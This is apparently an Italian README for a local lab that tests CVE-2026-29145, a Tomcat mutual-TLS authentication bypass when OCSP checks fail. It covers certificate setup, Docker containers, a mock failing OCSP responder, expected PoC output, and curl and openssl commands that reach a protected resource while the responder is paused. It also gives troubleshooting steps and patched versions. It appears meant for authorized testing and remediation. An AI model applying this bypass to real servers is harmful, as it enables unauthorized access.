
Questo repository contiene un ambiente proof-of-concept (PoC) progettato per testare la CVE-2026-29145.
Questo repository contiene un ambiente proof-of-concept (PoC) progettato per testare CVE-2026-29145.
La vulnerabilità è un bypass dell'autenticazione nell'implementazione Mutual TLS (CLIENT_CERT) di Apache Tomcat. Quando OCSP (Online Certificate Status Protocol) è configurato con soft-fail disabilitato, Tomcat potrebbe non trattare un errore di controllo OCSP come un rifiuto definitivo. Ciò consente a un client con un certificato potenzialmente revocato o non verificato di bypassare l'autenticazione se il responder OCSP non è raggiungibile o restituisce un errore.
| Proprietà | Valore |
|---|
| ID CVE | CVE-2026-29145 |
| Punteggio CVSS | 9.1 (Critico) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vettore di Attacco | Rete |
| Privilegi Richiesti | Nessuno |
| Impatto | Bypass dell'Autenticazione |
.ps1Lo script run_test.sh automatizza l'intero processo: pulizia, generazione dei certificati ed esecuzione di tutti gli scenari di test (vulnerabile, successo e patchato).
# Navigare nella directory del progetto
cd CVE-2026-29145-Tester
# Rendere eseguibili gli script
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Installare le dipendenze Python (se richieste da poc_exploit.py)
pip install -r requirements.txt
# Eseguire la suite di test completa
./run_test.sh
Su Linux/macOS:
./setup_certs.sh
Su Windows (PowerShell):
.\setup_certs.ps1
Cosa fa:
http://localhost:8888Output atteso:
[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!
docker-compose up -d
Cosa fa:
Verificare che i container siano in esecuzione:
docker-compose ps
python poc_exploit.py
Output attesi:
Sistema Vulnerabile:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...
Sistema Patchato:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).
| Scenario | Stato OCSP | Atteso (Patchato) | Risultato (Vulnerabile) | Note |
|---|---|---|---|---|
| Funzionamento Normale | Online e Valido | 200 OK ✓ | 200 OK ✓ | Il controllo OCSP riesce, accesso consentito |
| Soft Failure | Offline/Timeout | 403 Forbidden ✓ | 200 OK ✗ | BYPASS - Responder OCSP non raggiungibile |
| Revoca Hard | Online e Revocato | 403 Forbidden ✓ | 403 Forbidden ✓ | Certificato esplicitamente revocato |
| Certificato Non Valido | Catena Non Valida | 403 Forbidden ✓ | 403 Forbidden ✓ | La validazione della catena fallisce |
Test 1: Predefinito (Responder OCSP Non Funzionante)
# Mantenere i container in esecuzione
python poc_exploit.py
Test 2: Arrestare il Responder OCSP (Simulare Timeout)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
Test 3: Test Manuale con curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # Questo file
├── setup_certs.sh # Script di generazione certificati - Bash (Linux/macOS)
├── setup_certs.ps1 # Script di generazione certificati - PowerShell (Windows)
├── cleanup.sh # Script di pulizia e reset - Bash (Linux/macOS)
├── cleanup.ps1 # Script di pulizia e reset - PowerShell (Windows)
├── run_test.sh # Script del ciclo di test completo automatizzato
├── docker-compose.yml # Orchestrazione dei servizi Docker
├── requirements.txt # Dipendenze Python
├── poc_exploit.py # Script di test principale (con logging e gestione errori)
├── simple_proxy_fail.py # Mock responder OCSP (con logging dettagliato)
├── .gitignore # Regole Git ignore per certificati e log
├── certs/ # Certificati generati (creati dagli script setup_certs)
│ ├── ca-chain.pem # Certificato Root CA
│ ├── ca-key.pem # Chiave privata Root CA
│ ├── server-cert.pem # Certificato server Tomcat
│ ├── server-key.pem # Chiave privata server Tomcat
│ ├── client-cert.pem # Certificato client di test
│ └── client-key.pem # Chiave privata client di test
├── tomcat/
│ └── server.xml # Configurazione Tomcat vulnerabile
└── logs/ # Log Tomcat (creati a runtime)
Il file tomcat/server.xml configura:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
Impostazioni Chiave:
certificateVerification="required" - Impone l'autenticazione CLIENT_CERTOCSP on - Abilita il controllo della revoca OCSPIl mock responder OCSP (simple_proxy_fail.py):
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
Causa: La generazione dei certificati è fallita o non è stata eseguita.
# Pulire e rigenerare
rm -rf certs
./setup_certs.sh
Causa: Il container Tomcat non è in esecuzione o non è pronto.
# Controllare lo stato del container
docker-compose ps
# Controllare i log
docker-compose logs vulnerable-tomcat
# Assicurarsi che entrambi i servizi siano in esecuzione e sani
docker-compose up -d
sleep 10 # Attendere l'avvio dei servizi
Causa: Tomcat impiega troppo tempo ad avviarsi o ci sono problemi di rete.
# Controllare i log di avvio di Tomcat
docker-compose logs vulnerable-tomcat
# Aumentare il timeout e riprovare
timeout 30 docker-compose logs -f vulnerable-tomcat # Monitorare l'avvio
Causa: Docker Compose non è installato o non è nel PATH.
# Installare Docker Compose (se si utilizza la versione standalone)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# Oppure utilizzare docker compose (V2 integrato con Docker Desktop)
docker compose up -d
Causa: La validazione del certificato sta fallendo.
# Verificare che i file dei certificati esistano
ls -la certs/
# Controllare la validità del certificato
openssl x509 -in certs/client-cert.pem -noout -text
Causa: Errore di handshake SSL - potrebbe indicare che l'hard-fail sta funzionando correttamente.
Soluzione: Questo è in realtà un segnale positivo! L'hard-fail sta impedendo l'accesso quando OCSP fallisce.
# Controllare se il responder OCSP è in esecuzione
docker-compose ps ocsp-responder
# Visualizzare l'errore dettagliato
python poc_exploit.py # Fornisce già un logging dettagliato
Causa: La porta 8443 o 8888 è già in uso.
# Trovare il processo che utilizza la porta
lsof -i :8443
lsof -i :8888
# Terminare il processo o utilizzare porte diverse in docker-compose.yml
# Log Tomcat
docker-compose logs -f vulnerable-tomcat
# Log del responder OCSP
docker-compose logs -f ocsp-responder
# Debug dello script Python
python poc_exploit.py # Include già un logging dettagliato
# Aprire un terminale ed eseguire
docker-compose logs -f
# In un altro terminale, eseguire il test
python poc_exploit.py
# Testare la connettività al responder OCSP
curl http://localhost:8888/
# Testare il responder OCSP dall'interno del container Tomcat
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/
# Testare l'handshake SSL
openssl s_client -connect localhost:8443 \
-cert certs/client-cert.pem \
-key certs/client-key.pem \
-CAfile certs/ca-chain.pem
Per rimuovere tutti i container, volumi, certificati e log:
Su Linux/macOS:
./cleanup.sh
Su Windows (PowerShell):
.\cleanup.ps1
Cosa fa:
certs/ generatalogs/Verificare la pulizia:
docker-compose ps # Non dovrebbe mostrare nulla
ls -la certs/ # Non dovrebbe esistere
Questo progetto è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati.
Per mitigare questa vulnerabilità, aggiornare Apache Tomcat alle seguenti versioni:
| Serie di Versioni | Versione Minima Corretta |
|---|---|
| 11.0.x | 11.0.20 o successiva |
| 10.1.x | 10.1.53 o successiva |
| 9.0.x | 9.0.116 o successiva |
Passaggi per l'aggiornamento:
# Esempio: Aggiornare docker-compose.yml per utilizzare la versione patchata
# Modificare: image: tomcat:10.1.52-jdk17
# In: image: tomcat:10.1.53-jdk17
docker-compose down
docker-compose up -d
Per problemi, domande o contributi, aprire un issue o inviare una pull request.
Ultimo Aggiornamento: Aprile 2026
Stato: Test e Documentazione Completati